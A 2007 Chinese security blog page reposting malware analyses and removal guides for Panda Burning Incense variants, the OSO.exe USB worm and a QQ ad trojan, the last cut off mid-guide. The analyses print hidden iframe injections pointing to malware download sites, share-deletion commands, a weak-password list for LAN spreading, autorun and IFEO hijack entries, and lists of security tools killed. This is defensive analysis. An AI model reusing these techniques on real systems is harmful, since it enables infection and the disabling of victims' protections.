星期五, 二月 09, 2007

武汉男生/熊猫烧香感染下载者变种 CTMONTv.exe 解决方案

武汉男生感染下载者变种 CTMONTv.exe 解决方案

档案编号:CISRT2007028
病毒名称:N/A(Kaspersky)
病毒别名:Win32.Troj.Small.sg.148992(毒霸)
病毒大小:148,992 字节
加壳方式:
样本MD5:e19ef5f937e6c04014752f5a750a71ec
样本SHA1:220cd8c31548245ee05559030511eea6e177c7ca
发现时间:2007.2
更新时间:2007.2.2
关联病毒:
传播方式:恶意网页、其它病毒下载,通过局域网、移动存储设备传播

技术分析
==========

“熊猫烧香”(武汉男生感染下载者)的变种,与以往不同的是病毒程序图标不是“熊猫烧香”,这次的图标是普通安装程序图标(见附件),而且在实际运行测试中病毒并没有向系统目录复制副本。

病毒运行后复制自身到系统目录:
%System%\drivers\CTMONTv.exe
释放dll文件注入Explorer.exe进程:
%Windows%\ravdll.dll

向各分区根目录复制病毒副本:
X:\setup.exe
X:\autorun.inf

autorun.inf内容:

[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe

创建自启动项:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"svcshare"="%System%\drivers\CTMONTv.exe"

修改注册表使“显示所有文件和文件夹”选项失效:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
"CheckedValue"=dword:00000000

病毒尝试关闭安全相关窗口:
天网
防火墙
进程
VirusScan
NOD32
网镖
杀毒
毒霸
瑞星
江民
黄山IE
超级兔子
优化大师
木马清道夫
木馬清道夫
QQ病毒
注册表编辑器
系统配置实用程序
卡巴斯基反病毒
Symantec AntiVirus
Duba
Windows 任务管理器
esteem procs
绿鹰PC
密码防盗
噬菌体
木马辅助查找器
System Safety Monitor
Wrapped gift Killer
Winsock Expert
游戏木马检测大师
超级巡警
msctls_statusbar32
pjf(ustc)
IceSword

尝试结束安全相关进程及Viking病毒进程:
Mcshield.exe
VsTskMgr.exe
naPrdMgr.exe
UpdaterUI.exe
TBMon.exe
scan32.exe
Ravmond.exe
CCenter.exe
RavTask.exe
rav.exe
Ravmon.exe
RavmonD.exe
RavStub.exe
KVXP.kxp
KvMonXP.kxp
KVCenter.kxp
KVSrvXP.exe
KRegEx.exe
UIHost.exe
TrojDie.kxp
FrogAgent.exe
runiep.exe

Logo1_.exe
Logo_1.exe
Rundl132.exe

尝试删除安全相关启动项:
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse

尝试删除安全相关服务:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RsCCenter
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RsRavMon
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RsCCenter
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RsRavMon
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\KVWSC
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\KVSrvXP
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kavsvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AVP
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\McAfeeFramework
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\McShield
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\McTaskManager
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\navapsvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\KPfwSvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNDSrvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ccProxy
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ccEvtMgr
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ccSetMgr
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SPBBCSvc
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Symantec Core LC
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NPFMntor
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MskService
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FireSvc

删除除以下目录外其它目录中的gho文件,并修改htm/html/asp/php/jsp/aspx网页文件:
C:\
C:\WINDOWS\
C:\WINNT\
C:\WINDOWS\system32\
C:\WINNT\system32\
C:\Documents and Settings\
C:\System Volume Information\
C:\Recycled\
C:\Program Files\Windows NT\
C:\Program Files\WindowsUpdate\
C:\Program Files\Windows Media Player\
C:\Program Files\Outlook Express\
C:\Program Files\Internet Explorer\
C:\Program Files\NetMeeting\
C:\Program Files\Common Files\
C:\Program Files\ComPlus Applications\
C:\Program Files\Messenger\
C:\Program Files\InstallShield Installation Information\
C:\Program Files\MSN\
C:\Program Files\Microsoft Frontpage\
C:\Program Files\Movie Maker\
C:\Program Files\MSN Gamin Zone\
在文件尾部追加隐藏iframe代码:

<iframe src="http://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"></iframe>

尝试使用命令删除管理共享:

cmd.exe /c net share X$ /del /y
cmd.exe /c net share admin$ /del /y

尝试使用弱密码访问局域网内其它计算机:
Administrator
Guest
admin
Root

1234
password
6969
harley
123456
golf
pussy
mustang
1111
shadow
1313
fish
5150
7777
qwerty
baseball
2112
letmein
12345678
12345
ccc
admin
5201314
qq520
1
12
123
1234567
123456789
654321
54321
111
000000
abc
pw
11111111
88888888
pass
passwd
database
abcd
abc123
sybase
123qwe
server
computer
520
super
123asd
0
ihavenopass
godblessyou
enable
xp
2002
2003
2600
alpha
110
111111
121212
123123
1234qwer
123abc
007
a
aaa
patrick
pat
administrator
root
sex
god
fuckyou
fuck
test
test123
temp
temp123
win
pc
asdf
pwd
qwer
yxcv
zxcv
home
xxx
owner
login
Login
pw123
love
mypc
mypc123
admin123
mypass
mypass123
901100
将病毒自身以GameSetup.exe文件名复制过去。

病毒内包含文字信息如下:

***武*汉*男*生*感*染*下*载*者***
感谢艾玛,mopery对此木马的关注!~
xboy
whboy

清除步骤
==========

1. 断开网络

2. 结束病毒进程:
%System%\drivers\CTMONTv.exe

3. 删除病毒文件:
%System%\drivers\CTMONTv.exe

4. 通过分区盘符右键菜单的“打开”进入根目录,删除病毒文件:
X:\setup.exe
X:\autorun.inf

5. 重新启动计算机

6. 删除病毒文件:
%Windows%\ravdll.dll

7. 删除病毒启动项:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"svcshare"="%System%\drivers\CTMONTv.exe"

8. 修改注册表,恢复“显示所有文件和文件夹”选项功能:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
"CheckedValue"=dword:00000001

9. 修复或重新安装被破坏的安全相关软件,并使用反病毒软件进行全盘扫描

10. 恢复被修改的网页文件,可以使用反病毒软件清除,也可以使用Dreamweaver等网页编辑工具的替换功能删除被追加的恶意代码

建议设置禁止访问lovebak.com/krvkr.com/whboy.net+CISRT发布熊猫烧香新变种ncscv32.exe解决方案2007-01-31 09:24CISRT发布熊猫烧香新变种ncscv32.exe解决方案

档案编号:CISRT2007023
病毒名称:Worm.Win32.Fujack.l(Kaspersky)
病毒别名:Worm.Nimaya.cf(瑞星)
      Worm.WhBoy.bx.68778(毒霸)
病毒大小:68,938 字节
加壳方式:FSG
样本MD5:0ae2056fa8c99331332fe3cd4e31342d
样本SHA1:e02edb9c99055e00a3390638d0d7b02f9942dcb2
发现时间:2007.1
更新时间:2007.1.24
关联病毒:
传播方式:恶意网页、其它病毒下载,可通过局域网传播

技术分析
==========

熊猫烧香的新变种,与之前变种【CISRT2007017】熊猫烧香变种 感染文件 修改网页 ncscv32.exe 解决方案类似。

运行后复制自身到系统目录并运行:
%System%\drivers\ncscv32.exe
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"nvscv32"="%System%\drivers\ncscv32.exe"

修改注册表使“显示所有文件和文件夹”设置失效:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
"CheckedValue"=dword:00000000

尝试关闭安全相关窗口:
天网
防火墙
VirusScan
Symantec AntiVirus
System Safety Monitor
System Repair Engineer
Wrapped gift Killer
游戏木马检测大师
超级巡警

尝试结束安全相关进程,以及自身之前变种、Viking病毒进程:
Mcshield.exe
VsTskMgr.exe
naPrdMgr.exe
UpdaterUI.exe
TBMon.exe
scan32.exe
Ravmond.exe
CCenter.exe
RavTask.exe
Rav.exe
Ravmon.exe
RavmonD.exe
RavStub.exe
KVXP.kxp
KvMonXP.kxp
KVCenter.kxp
KVSrvXP.exe
KRegEx.exe
UIHost.exe
TrojDie.kxp
FrogAgent.exe
Logo1_.exe
Logo_1.exe
Rundl132.exe
taskmgr.exe
msconfig.exe
regedit.exe
SREng.EXE
spoclsv.exe
nvscv32.exe
sppoolsv.exe
spo0lsv.exe

删除安全相关服务:
RsCCenter
RsRavMon
KVWSC
KVSrvXP
kavsvc
AVP
McAfeeFramework
McShield
McTaskManager
navapsvc
wscsvc
KPfwSvc
SNDSrvc
ccProxy
ccEvtMgr
ccSetMgr
SPBBCSvc
Symantec Core LC
NPFMntor
MskService
FireSvc

删除安全相关启动项:
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse

跳过以下目录感染EXE/SCR/PIF/COM文件,但不感染setup.exe和NTDETECT.COM:
C:\
C:\WINDOWS
C:\WINNT
C:\WINDOWS\system32
C:\WINNT\system32
C:\Documents and Settings
C:\System Volume Information
C:\Recycled
%ProgramFiles%\Windows NT
%ProgramFiles%\WindowsUpdate
%ProgramFiles%\Windows Media Player
%ProgramFiles%\Outlook Express
%ProgramFiles%\Internet Explorer
%ProgramFiles%\NetMeeting
%ProgramFiles%\Common Files
%ProgramFiles%\ComPlus Applications
%ProgramFiles%\Messenger
%ProgramFiles%\InstallShield Installation Information
%ProgramFiles%\Microsoft Frontpage
%ProgramFiles%\Movie Maker
%ProgramFiles%\MSN Gamin Zone

将自身捆绑在被感染文件前端的感染方式类似之前变种,并在尾部添加标记信息:WHBOY{原文件名}.exe {原文件字节大小}

修改除上述目录中的htm/html/asp/php/jsp/aspx网页文件,在文件尾部追加隐藏iframe代码:<iframe src=hxxp://www.lovebak.com/qq.htm width="0" height="0"></iframe>

病毒遍历过的目录下会留下Desktop__.ini文件,内容是当前日期

使用弱密码尝试以Games.exe文件名复制自身到局域网内其它计算机

原来留有“交流字符”的地方现在显示如下:
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
adsf
hjjjjjj
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!

PS:罗列一下威金和熊猫的种类

ViKing种类:Logo1_.exe/Logo_1.exe/Rundl132.exe

Nimuya种类:ncscv32.exe/spoclsv.exe/nvscv32.exe/sppoolsv.exe/spo0lsv.exe

建议设置禁止访问lovebak.com/krvkr.com/whboy.net熊猫更新服务站点
59.63.157.80
hxxp://www.lovebak.com 2007-01-23注册的新域名
hxxp://www.krvkr.com 作恶多端的老域名
hxxp://www.whboy.net

示例如下:

drivers\etc\hosts
127.0.0.1 59.63.157.80
127.0.0.1 lovebak.com
127.0.0.1 krvkr.com
127.0.0.1 whboy.net

行为恶劣的U盘病毒OSO.exe分析与查杀

行为恶劣的U盘病毒OSO.exe分析与查杀 by 轩辕小聪

病毒名:Worm.Pabug.ck

大小:38,132 字节

MD5:2391109c40ccb0f982b86af86cfbc900

加壳方式:FSG2.0

编写语言:Delphi

传播方式:通过移动介质或网页恶意脚本传播

经虚拟机中运行,与脱壳后OD分析结合,其行为如下:

文件创建:

%systemroot%\system32\gfosdg.exe

%systemroot%\system32\gfosdg.dll

%systemroot%\system32\severe.exe

%systemroot%\system32\drivers\mpnxyl.exe

%systemroot%\system32\drivers\conime.exe

%systemroot%\system32\hx1.bat

%systemroot%\system32\noruns.reg

X:\OSO.exe

X:\autorun.inf

X指非系统盘符

%systemroot%是环境变量,对于装在C盘的Windows XP系统,默认路径为C:\WINDOWS文件夹,以下以此假设进行分析。

创建进程:

%systemroot%\system32\gfosdg.exe

%systemroot%\system32\severe.exe

%systemroot%\system32\drivers\conime.exe

使用net stop命令,结束可能存在的杀毒软件服务

调用sc.exe,

config [对应服务] start=disabled

禁用这些服务

被结束和禁用的服务包括:

srservice

sharedaccess(此即系统自带防火墙——笔者注)

KVWSC

KVSrvXP

kavsvc

RsRavMon

RsCCenter

其中,在结束瑞星服务的过程中,由于瑞星会弹出提示,病毒作了相应处理:

用FindWindowA函数,捕捉标题为"瑞星提示"的窗口

用FindWindowExA函数,找到其中“是(&Y)”的按钮

用SendMessageA函数向系统发送信息,相当于按下此按钮

禁止或结束以下进程运行,包括但不限于:

PFW.exe

Kav.exe

KVOL.exe

KVFW.exe

adam.exe

qqav.exe

qqkav.exe

TBMon.exe

kav32.exe

kvwsc.exe

CCAPP.exe

EGHOST.exe

KRegEx.exe

kavsvc.exe

VPTray.exe

RAVMON.exe

KavPFW.exe

SHSTAT.exe

RavTask.exe

TrojDie.kxp

Iparmor.exe

MAILMON.exe

MCAGENT.exe

KAVPLUS.exe

RavMonD.exe

Rtvscan.exe

Nvsvc32.exe

KVMonXP.exe

Kvsrvxp.exe

CCenter.exe

KpopMon.exe

RfwMain.exe

KWATCHUI.exe

MCVSESCN.exe

MSKAGENT.exe

kvolself.exe

KVCenter.kxp

kavstart.exe

RAVTIMER.exe

RRfwMain.exe

FireTray.exe

UpdaterUI.exe

KVSrvXp_1.exe

RavService.exe

创建noruns.reg,并导入注册表,之后删除此文件。导入内容:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

"NoDriveTypeAutoRun"=dword:b5

改变驱动器的autorun方式(在我的虚拟机里没有实现)

修改注册表,创建启动项(后来在SREng日志中可见的项目):

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[N/A]

[N/A]

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[N/A]

为预防瑞星注册表监控提示,故伎重施:

用FindWindowA函数捕捉标题为“瑞星注册表监控提示”的窗口

用mouse_event控制鼠标自动选择允许修改。

访问注册表

[HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall]

CheckedValue键

破坏显示隐藏文件的功能(这一点在我的虚拟机中没有实现,可能是被TINY或SSM默认阻止了)

然而,做了这么多工作除去杀毒软件之后,作者似乎觉得还不保险,他终于使出了“杀手锏”:

在注册表

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]

创建以安全软件程序名为名的子项

子项中创建子键

"Debugger"="C:\\WINDOWS\\system32\\drivers\\mpnxyl.exe"

使得这些程序在被双击运行时,均会转为运行病毒文件mpnxyl.exe

形如:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp.exe]

"Debugger"="C:\\WINDOWS\\system32\\drivers\\mpnxyl.exe"

autoruns的日志中可以清楚地看到这些项目,以及遭到这种手法“蹂躏”的程序:

+ 360Safe.exe c:\windows\system32\drivers\mpnxyl.exe

+ adam.exe c:\windows\system32\drivers\mpnxyl.exe

+ avp.com c:\windows\system32\drivers\mpnxyl.exe

+ avp.exe c:\windows\system32\drivers\mpnxyl.exe

+ IceSword.exe c:\windows\system32\drivers\mpnxyl.exe

+ iparmo.exe c:\windows\system32\drivers\mpnxyl.exe

+ kabaload.exe c:\windows\system32\drivers\mpnxyl.exe

+ KRegEx.exe c:\windows\system32\drivers\mpnxyl.exe

+ KvDetect.exe c:\windows\system32\drivers\mpnxyl.exe

+ KVMonXP.kxp c:\windows\system32\drivers\mpnxyl.exe

+ KvXP.kxp c:\windows\system32\drivers\mpnxyl.exe

+ MagicSet.exe c:\windows\system32\drivers\mpnxyl.exe

+ mmsk.exe c:\windows\system32\drivers\mpnxyl.exe

+ msconfig.com c:\windows\system32\drivers\mpnxyl.exe

+ msconfig.exe c:\windows\system32\drivers\mpnxyl.exe

+ PFW.exe c:\windows\system32\drivers\mpnxyl.exe

+ PFWLiveUpdate.exe c:\windows\system32\drivers\mpnxyl.exe

+ QQDoctor.exe c:\windows\system32\drivers\mpnxyl.exe

+ Ras.exe c:\windows\system32\drivers\mpnxyl.exe

+ Rav.exe c:\windows\system32\drivers\mpnxyl.exe

+ RavMon.exe c:\windows\system32\drivers\mpnxyl.exe

+ regedit.com c:\windows\system32\drivers\mpnxyl.exe

+ regedit.exe c:\windows\system32\drivers\mpnxyl.exe

+ runiep.exe c:\windows\system32\drivers\mpnxyl.exe

+ SREng.EXE c:\windows\system32\drivers\mpnxyl.exe

+ TrojDie.kxp c:\windows\system32\drivers\mpnxyl.exe

+ WoptiClean.exe c:\windows\system32\drivers\mpnxyl.exe

删除卡卡助手的dll文件kakatool.dll(的确这么做了,虚拟机运行的结果和程序代码里的内容相映证)

为了堵死中毒者的“后路”,又采取了另一种卑劣的手法

修改hosts文件,屏蔽杀毒软件厂商的网站,卡卡社区“有幸”成为被屏蔽的其中一员:

这是后来用SREng看到的结果,在程序代码里也有相应内容:

127.0.0.1 mmsk.cn

127.0.0.1 ikaka.com

127.0.0.1 safe.qq.com

127.0.0.1 360safe.com

127.0.0.1 www.mmsk.cn

127.0.0.1 www.ikaka.com

127.0.0.1 tool.ikaka.com

127.0.0.1 www.360safe.com

127.0.0.1 zs.kingsoft.com

127.0.0.1 forum.ikaka.com

127.0.0.1 up.rising.com.cn

127.0.0.1 scan.kingsoft.com

127.0.0.1 kvup.jiangmin.com

127.0.0.1 reg.rising.com.cn

127.0.0.1 update.rising.com.cn

127.0.0.1 update7.jiangmin.com

127.0.0.1 download.rising.com.cn

127.0.0.1 dnl-us1.kaspersky-labs.com

127.0.0.1 dnl-us2.kaspersky-labs.com

127.0.0.1 dnl-us3.kaspersky-labs.com

127.0.0.1 dnl-us4.kaspersky-labs.com

127.0.0.1 dnl-us5.kaspersky-labs.com

127.0.0.1 dnl-us6.kaspersky-labs.com

127.0.0.1 dnl-us7.kaspersky-labs.com

127.0.0.1 dnl-us8.kaspersky-labs.com

127.0.0.1 dnl-us9.kaspersky-labs.com

127.0.0.1 dnl-us10.kaspersky-labs.com

127.0.0.1 dnl-eu1.kaspersky-labs.com

127.0.0.1 dnl-eu2.kaspersky-labs.com

127.0.0.1 dnl-eu3.kaspersky-labs.com

127.0.0.1 dnl-eu4.kaspersky-labs.com

127.0.0.1 dnl-eu5.kaspersky-labs.com

127.0.0.1 dnl-eu6.kaspersky-labs.com

127.0.0.1 dnl-eu7.kaspersky-labs.com

127.0.0.1 dnl-eu8.kaspersky-labs.com

127.0.0.1 dnl-eu9.kaspersky-labs.com

127.0.0.1 dnl-eu10.kaspersky-labs.com

另外:

hx1.bat内容:

@echo off

set date=2004-1-22

ping ** localhost > nul

date %date%

del %0

改日期?不过在虚拟机里没有实现

autorun.inf的内容:

[AutoRun]

open=OSO.exe

shellexecute=OSO.exe

shell\Auto\command=OSO.exe

如果你要从右键菜单来判别,很不幸,右键菜单完全看不出异常,无论你是双击还是右键,同样会激活病毒!

TINY还记录到,病毒关闭系统还原服务后再打开。这恐怕会导致丢失还原点的结果。

至此这个十分恶劣的病毒的行为分析告一段落,下面介绍清除方法(上面内容看得头晕的会员们,直接看清除方法即可)

清除方法归结为一句话:“夹缝中求生”

IceSword.exe、SREng.exe均被禁,但只需将文件改名,照样可以运行

autoruns.exe则不在被禁的行列

其他的被禁程序,一步步解禁

具体过程:

结束进程:

%systemroot%\system32\gfosdg.exe

%systemroot%\system32\severe.exe

%systemroot%\system32\drivers\conime.exe

没有发现此病毒禁用任务管理器。也可以用其他工具如procexp等

用autoruns删除以下项目(建议用autoruns,一是没被禁,二是一目了然,注意先选Options-Hide Microsoft Entries):

+ 360Safe.exe c:\windows\system32\drivers\mpnxyl.exe

+ adam.exe c:\windows\system32\drivers\mpnxyl.exe

+ avp.com c:\windows\system32\drivers\mpnxyl.exe

+ avp.exe c:\windows\system32\drivers\mpnxyl.exe

+ IceSword.exe c:\windows\system32\drivers\mpnxyl.exe

+ iparmo.exe c:\windows\system32\drivers\mpnxyl.exe

+ kabaload.exe c:\windows\system32\drivers\mpnxyl.exe

+ KRegEx.exe c:\windows\system32\drivers\mpnxyl.exe

+ KvDetect.exe c:\windows\system32\drivers\mpnxyl.exe

+ KVMonXP.kxp c:\windows\system32\drivers\mpnxyl.exe

+ KvXP.kxp c:\windows\system32\drivers\mpnxyl.exe

+ MagicSet.exe c:\windows\system32\drivers\mpnxyl.exe

+ mmsk.exe c:\windows\system32\drivers\mpnxyl.exe

+ msconfig.com c:\windows\system32\drivers\mpnxyl.exe

+ msconfig.exe c:\windows\system32\drivers\mpnxyl.exe

+ PFW.exe c:\windows\system32\drivers\mpnxyl.exe

+ PFWLiveUpdate.exe c:\windows\system32\drivers\mpnxyl.exe

+ QQDoctor.exe c:\windows\system32\drivers\mpnxyl.exe

+ Ras.exe c:\windows\system32\drivers\mpnxyl.exe

+ Rav.exe c:\windows\system32\drivers\mpnxyl.exe

+ RavMon.exe c:\windows\system32\drivers\mpnxyl.exe

+ regedit.com c:\windows\system32\drivers\mpnxyl.exe

+ regedit.exe c:\windows\system32\drivers\mpnxyl.exe

+ runiep.exe c:\windows\system32\drivers\mpnxyl.exe

+ SREng.EXE c:\windows\system32\drivers\mpnxyl.exe

+ TrojDie.kxp c:\windows\system32\drivers\mpnxyl.exe

+ WoptiClean.exe c:\windows\system32\drivers\mpnxyl.exe

这样包括IceSword、SREng、注册表编辑器和系统配置实用程序在内的部分程序不再被禁止

删除或修改启动项:

以用SREng为例

在“启动项目”-“注册表”中删除:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[N/A]

[N/A]

双击以下项目,把“值”中Explorer.exe后面的内容删除

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]

[N/A]

删除文件:

由于非系统盘即便右键打开也会有危险,应该采用其他方法,推荐用IceSword或WINRAR来做

删除:

%systemroot%\system32\gfosdg.exe

%systemroot%\system32\gfosdg.dll

%systemroot%\system32\severe.exe

%systemroot%\system32\drivers\mpnxyl.exe

%systemroot%\system32\drivers\conime.exe

%systemroot%\system32\hx1.bat

%systemroot%\system32\noruns.reg

X:\OSO.exe

X:\autorun.inf

系统修复与清理:

在注册表展开

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]

建议将原CheckedValue键删除,再新建正常的键值:

"CheckedValue"=dword:00000001

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]

NoDriveTypeAutoRun键的值,是否要改,要改为什么,视乎各人所需,一般默认为91(十六进制的)

此键的含义,请搜索网上资料,在此不再赘述

HOSTS文件的清理

可以用记事本打开%systemroot%\system32\drivers\etc\hosts,清除被病毒加入的内容

也可以用SREng在“系统修复”-“HOSTS文件”中点“重置”,然后点“保存”

最后修复一下服务被破坏的杀毒软件。

小结:

从拿到样本到方法写完,历时整整五小时。之所以要说得如此详细,是因为这个病毒相当的典型,尤其是它对付安全软件的几种方法。右键菜单没变化,也是比较“隐蔽”而且给清除带来麻烦的一个特征。对付这个病毒,也要在“知己知彼”的基础上,灵活运用方法和工具。

1月31日,艾玛补充:

http://forum.ikaka.com/topic.asp?board=28&artid=8261581

net stop sharedaccess这项服务仅是停用

禁用上网助手、木马助手、天网个人防火墙、金山毒霸扫描

另有文件生成:C:\重要资料.exe C:\美女游戏.pif

gfosdg.dll hook及键盘记录偷取QQ账户,网页收信

以上资料确定就是盗Q黑侠:-)

艾玛的后续补充说明,这个病毒的确存在生成器,即使是一般的电脑使用者,得到生成器,也可以轻松生成此类病毒。

在此再提醒广大用户,上网和使用移动介质时一定要小心谨慎。

针对会员们普遍反映清除过程仍然比较艰难,再补充一下:

一、mpnxyl.exe和gfosdg.exe、gfosdg.dll,其文件名是可变的,不过并非无章可循,一般有这样的特征:

如我第一次运行时产生以下启动项

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[N/A]

[N/A]

severe.exe的启动项键名gfosdg,正是其中一个病毒程序gfosdg.exe的文件名

而gfosdg.exe的启动项键名mpnxyl,则就是drivers文件夹下的病毒文件mpnxyl.exe的文件名

再看另一份中毒日志中相应项目:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

[N/A]

[N/A]

可发现:severe.exe的启动项键名bdelys,正是其中一个病毒程序bdelys.exe的文件名

而bdelys.exe的启动项键名jypexx,则应该就是drivers文件夹下的病毒文件名

所以在这份日志中,原来的

%systemroot%\system32\gfosdg.exe

%systemroot%\system32\gfosdg.dll

%systemroot%\system32\drivers\mpnxyl.exe

相应被替换为

%systemroot%\system32\bdelys.exe

%systemroot%\system32\bdelys.dll

%systemroot%\system32\drivers\jypexx.exe

二、关于结束进程比较困难的问题。

考虑到进程间可能有进程守护,再加上dll插入

建议用procexp.exe(置顶工具帖中有)来结束进程

或者将IceSword.exe(置顶工具帖中有)改名(如改为Sword.exe)后运行(这样就不会再受IFEO的限制),勾选“禁止进线程创建”然后再结束进程。记得处理完病毒后“禁止进线程创建”的勾要再取消。

三、文件删除

如果成功结束这几个进程,exe文件的删除不会有太大问题,但是随机文件名的dll文件(如本例的gfosdg.dll)可能插入不少应用程序进程,直接删除有困难。

建议选用以下方法其中之一:

1.先删除exe文件,重启后再删除dll文件。由于gfosdg.dll是通过gfosdg.exe来加载,删除gfosdg.exe和其他病毒exe文件之后,重启电脑,gfosdg.dll即不再加载,可顺利删除

2.同样用IceSword(仍需改名,见上文)来从被插入的进程中卸除dll后再删除,或强制删除。

星期四, 二月 08, 2007

安全防护教你手工剿灭QQ广告弹出木马

安全防护教你手工剿灭QQ广告弹出木马

作者:skyxnet 来源:赛迪网安全社区

将杀毒软件升级到最新也不能查杀,打开浏览器,上网搜索,发现也有朋友中了这种木马,但该网友提供的方法并不能删除木马,无奈之下只好自己“动手”了,以下就是我的整个手工清除木马的过程,写出来与大家分享。

具体的不知道从哪天起,我的Maxthon浏览器好像不能拦截一些网站的广告了,屏幕的右下角也不时的出现如QQ广告一样的东西,一开始以为是网站和QQ的广告。但越用越不对劲,仔细一看,右下角的根本就不是QQ的广告,出来的整个广告就是一个链接,不像QQ广告外面还有一个框,鼠标放在上面是不会变成手形的,而这个广告,无论鼠标放在什么地方都是手形的。我开始怀疑我中招了,将杀毒软件升级到最新也不能查杀,打开浏览器,上网搜索,发现也有朋友中了这种木马,但该网友提供的方法并不能删除木马,无奈之下只好自己“动手”了,以下就是我的整个手工清除木马的过程,写出来与大家分享。

1、常规操作

打开任务管理器,查看进程,并没有发现什么不良进程。

2、深入挖掘

运行Regedit,依次展开

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

一看,果然多了个新家伙Advapi32,一看键值,竟然加载的是一个Dll文件,而这个文件位于C:\WINDOWS\Downloaded Program Files目录下的_IS_0518目录中。找到了根源就好办了,先删除了启动项,再删除对应的木马文件就行了,但到了C:\WINDOWS\Downloaded Program Files目录一看,发现这些文件根本看不到(开启了显示隐藏文件项)。且重启之后启动项又出现了,很显然,这个木马监视注册表,且文件隐藏。为了剿灭彻底,以下步骤是进入安全模式后进行的(开机时按住F8键或Ctrl键不放直到启动菜单出现)。

在第三步之前,我曾尝试直接用第四步的方法删除木马文件,但发现重启之后木马并没有消失,因此初步判断该木马存在备份文件。

3、清除木马备份文件

